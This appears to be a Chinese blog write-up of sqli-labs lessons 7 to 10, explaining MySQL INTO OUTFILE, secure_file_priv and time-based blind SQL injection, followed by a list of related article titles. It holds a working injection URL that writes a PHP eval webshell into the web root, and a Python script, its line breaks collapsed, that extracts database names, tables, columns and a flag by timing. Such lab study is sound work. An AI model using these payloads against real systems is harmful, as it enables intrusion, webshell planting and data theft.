前置知识点:
1、outfile是将检索到的数据,保存到服务器的文件内:
格式:select * into outfile “文件地址”

示例:

mysql> select * into outfile ‘f:/mysql/test/one’ from teacher_class;

2、文件是自动创建的。

3,读写文件函数调用的限制

因为涉及到在服务器上写入文件,所以上述函数能否成功执行受到参数 secure_file_priv 的影响。,

其中当参数 secure_file_priv 为空时,对导入导出无限制
当值为一个指定的目录时,只能向指定的目录导入导出
当值被设置为NULL时,禁止导入导出功能

这个值可以通过命令 select @@secure_file_priv 查询。由于这个参数不能动态更改,只能在mysql的配置文件中进行修改,然后重启生效。
即:需要mysql数据库开启secure-file-priv写文件权限,否则不能写入文件。
进入mysql安装目录,找到my.ini 修改里面的secure-file-priv参数

如果发现没有secure_file_priv这个选项,直接再最后添加一个空的即可。
注意:
需要有绝对路径
文件名里路径里必须用\代替/

less7:


可知有三个显示位

根据题目提示使用outfile传入木马http://127.0.0.1/sqli-labs-master/Less-7/?id=-1')) union select 1,2,'<?php @eval($_POST["shell"]);?>' into outfile 'D:\\phpStudy2018\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\shell.php'--+

最后使用蚁剑连接shell

less8

手工注入方式与5节基本相同

less9

知识点: 基于时间型SQL盲注

注入SQL 代码之后, 存在以下两种情况:

如果注入的SQL代码不影响后台[ 数据库] 的正常功能执行, 那么Web 应用的页面显示正确( 原始页面) 。

如果注入的SQL 代码影响后台数据库的正常功能( 产生了SQL 注入) , 但是此时Web 应用的页面依旧显示正常( 原因是Web 应用程序采取了“ 重定向" 或“ 屏蔽 ”措施)。

产生一个疑问: 注入的SQL 代码到底被后台数据库执行了没有? 即web 应用程序是否存在SQL 注入?

面对这种情况, 之前讲的基于布尔的SQL 盲注很难发挥作用了( 因为基于布尔的SQL 盲注的前提是web 程序返回的页面存在true 和false 两种不同的页面) 。

时间盲注: 界面返回值只有一种,true.无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。这时, 一般采用基于web 应用***响应时间上的差异来判断是否存在SQL 注入***, 即基于时间型SQL 盲注。

所以方法和less5相通,只是不以回显而是时间长短来判断语句的执行情况

找了份大佬的脚本:

import requests
import time
import datetimeurl = "http://localhost/sql-labs/Less-9/?id=1'"def get_dbname():dbname = ''for i in range(1,9):for k in range(32,127):payload = "and if(ascii(substr(database(),{0},1))={1},sleep(2),1)--+".format(i,k)# payload = " and if(ascii(substr(database(),{0},1))={1},sleep(2),1) --+".format(i,k)#if语句里面的sleep(2)为如果注入语句正确浏览器就休眠两秒,也可以和1调换位置(那样就是如果语句错误休眠两秒)time1 = datetime.datetime.now()#获得提交payload之前的时间res = requests.get(url + payload)time2 = datetime.datetime.now()#获得payload提交后的时间difference = (time2 - time1).seconds#time,time2时间差,seconds是只查看秒if difference > 1:dbname += chr(k)else:continueprint("数据库名为->"+dbname)
get_dbname()def get_table():table1 = ''table2 = ''table3 = ''table4 = ''for i in range(5):for j in range(6):for k in range(32,127):payload = "and if(ascii(substr((select table_name from information_schema.tables where table_schema=\'security\' limit %d,1),%d,1))=%d,sleep(2),1)--+"%(i,j,k)time1 = datetime.datetime.now()res = requests.get(url + payload)time2 = datetime.datetime.now()difference = (time2-time1).secondsif difference > 1:if i == 0:table1 += chr(k)print("第一个表为->"+table1)elif i == 1:table2 += chr(k)print("第二个表为->"+table2)elif i == 3:table3 += chr(k)print("第三个表为->"+table3)elif i == 4:table4 += chr(k)print("第四个表为->"+table4)else:break
get_table()def get_column():column1 = ''column2 = ''column3 = ''for i in range(3):for j in range(1,9):for k in range(32,127):payload = "and if(ascii(substr((select column_name from information_schema.columns where table_name=\'flag\' limit %d,1),%d,1))=%d,sleep(2),1)--+"%(i,j,k)time1 = datetime.datetime.now()res = requests.get(url+payload)time2 = datetime.datetime.now()difference = (time2-time1).secondsif difference > 1:if i == 0:column1 += chr(k)print("字段一为->"+column1)if i == 1:column2 += chr(k)print("字段二为->"+column2)if i == 2:column3 += chr(k)print("字段三为->"+column3)else:break
get_column()def get_flag():flag = ''for i in range(30):for k in range(32,127):payload = "and if(ascii(substr((select flag from flag),%d,1))=%d,sleep(2),1)--+"%(i,k)time1 = datetime.datetime.now()res = requests.get(url+payload)time2 = datetime.datetime.now()difference = (time2-time1).secondsif difference > 1:flag += chr(k)print("flag为->"+flag)
get_flag()

less10

和9相同,单引号改为双引号

sqli-lab--writeup(7~10)文件输出,时间布尔盲注相关推荐

  1. SQLi LABS Less-26 联合注入+报错注入+布尔盲注+时间盲注

    第26关是单引号字符型注入: 后台过滤了关键字( and  or ),注释(/*  #  --  /),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 目录 一.功能分析 二 ...

  2. SQL注入——布尔盲注,时间盲注,宽字节注入

    布尔盲注 1.布尔盲注利用前提 页面没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常来判断是否存在注入 缺点:速度太慢,消耗大量时间 布尔盲注思维导图: 布尔盲注常用语句: su ...

  3. SQLi LABS Less 27a 联合注入+布尔盲注+时间盲注

    第27a关是双引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.布尔盲注.时间盲注三种解题方式. 其他 SQLi LABS 靶场的解题步 ...

  4. SQLi LABS Less 27 联合注入+报错注入+布尔盲注+时间盲注

    第27关是单引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 其他 SQLi LABS 靶场 ...

  5. sqli中时间型盲注和布尔型盲注实现

    布尔型注入: 等待时间较长,但容易受网络波动影响,所以无法作为绝对判断条件. ②利用length语句判断数据库长度 http://127.0.0.1/sqli/Less-8/?id=1' and le ...

  6. SQLi LABS Less 25a 联合注入+布尔盲注+时间盲注

    第25a关是数值型注入: 后台过滤了关键字(and.or),可以双写绕过: 这篇文章提供联合注入.布尔盲注.时间盲注三种解题方式. SQLi-LABS 其余关卡,可以参考我的专栏:SQLi-LABS ...

  7. SQL注入-盲注-时间注入-报错注入-布尔盲注-DNSlog注入-宽字节注入-WAF绕过-SqlMap使用

    Sqli-labs的安装 1.安装WAMP http://www.wampserver.com/ WAMP是php + mysql + Apache环境集成工具 2.下载Sqli-labs https ...

  8. iwebsec靶场 SQL注入漏洞通关笔记4- sleep注入(时间型盲注)

    系列文章目录 iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客 iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入(宽字节注入)_mooyuan的 ...

  9. SQL注入:sqli-labs lesson-8 lesson -9 基于布尔值和基于时间的盲注!

    在上一次讲解了lesson -1的sql基本注入,我们在注入的时候,它会返回错误信息 但是盲注不会:什么是盲注:我理解的盲注是,web页面并不会返回错误信息,需要自己添加一些命令来让浏览器进行一些显而 ...

最新文章

  1. html li 右跟下有倒影,HTML5 canvas实现的下雨夜湖面星空倒影动画特效
  2. aligned_storage简单学习
  3. [reference]-ARM Term术语汇总
  4. muduo学习笔记 线程类
  5. Linux磁盘管理与文件系统(实验详解,一看就懂)
  6. 手把手教你用Java的swing制作计算器
  7. Gradle插件学习笔记(二)
  8. 贺双节,签名版限量特惠
  9. HP DL360 G7通过iLO部署系统
  10. python自动发邮件mysql_python自动化六--操作mysql,redis,发送邮件,EXCEL,MD5加密
  11. UIWebView背景透明的方法
  12. 【Qt学习之路】我的Qt历程
  13. 游戏编程和计算机编程一样吗,学数控编程和电脑编程区别是什么?
  14. QTableView 常用功能总结
  15. 英特尔超级计算机显卡,美国公布首台百亿亿次超级计算机!用上Intel Xe独立显卡...
  16. APS供应链计划管理有何功能?其目的和意义又是什么?
  17. v-for on stateful component root element because it renders multiple elements
  18. laravel excel 导出
  19. Java新手学习指南(2020最新推荐版)
  20. TCHAR数据类型介绍

热门文章

  1. RuoYi-Cloud 部署篇_04(windows环境 mysql+nginx版本)
  2. Flowable 数据库表结构 ACT_HI_ATTACHMENT
  3. linux shell脚本关闭指定端口号的进程
  4. Springboot2 Quartz实现JAVA定时任务的动态配置
  5. java 内省学习笔记
  6. Java-Super
  7. floquet端口x极化入射波_请问CST 2012 floquet中的模式设置
  8. 如何用Java代码解析json
  9. qt不规则按钮样式在自适应分辨率时应该注意的图片缩放模式
  10. Python bytearray/bytes/string区别